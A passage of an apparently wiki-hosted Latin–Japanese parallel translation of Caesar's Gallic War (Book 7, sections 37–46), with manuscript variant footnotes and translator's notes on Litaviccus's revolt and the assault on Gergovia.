*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
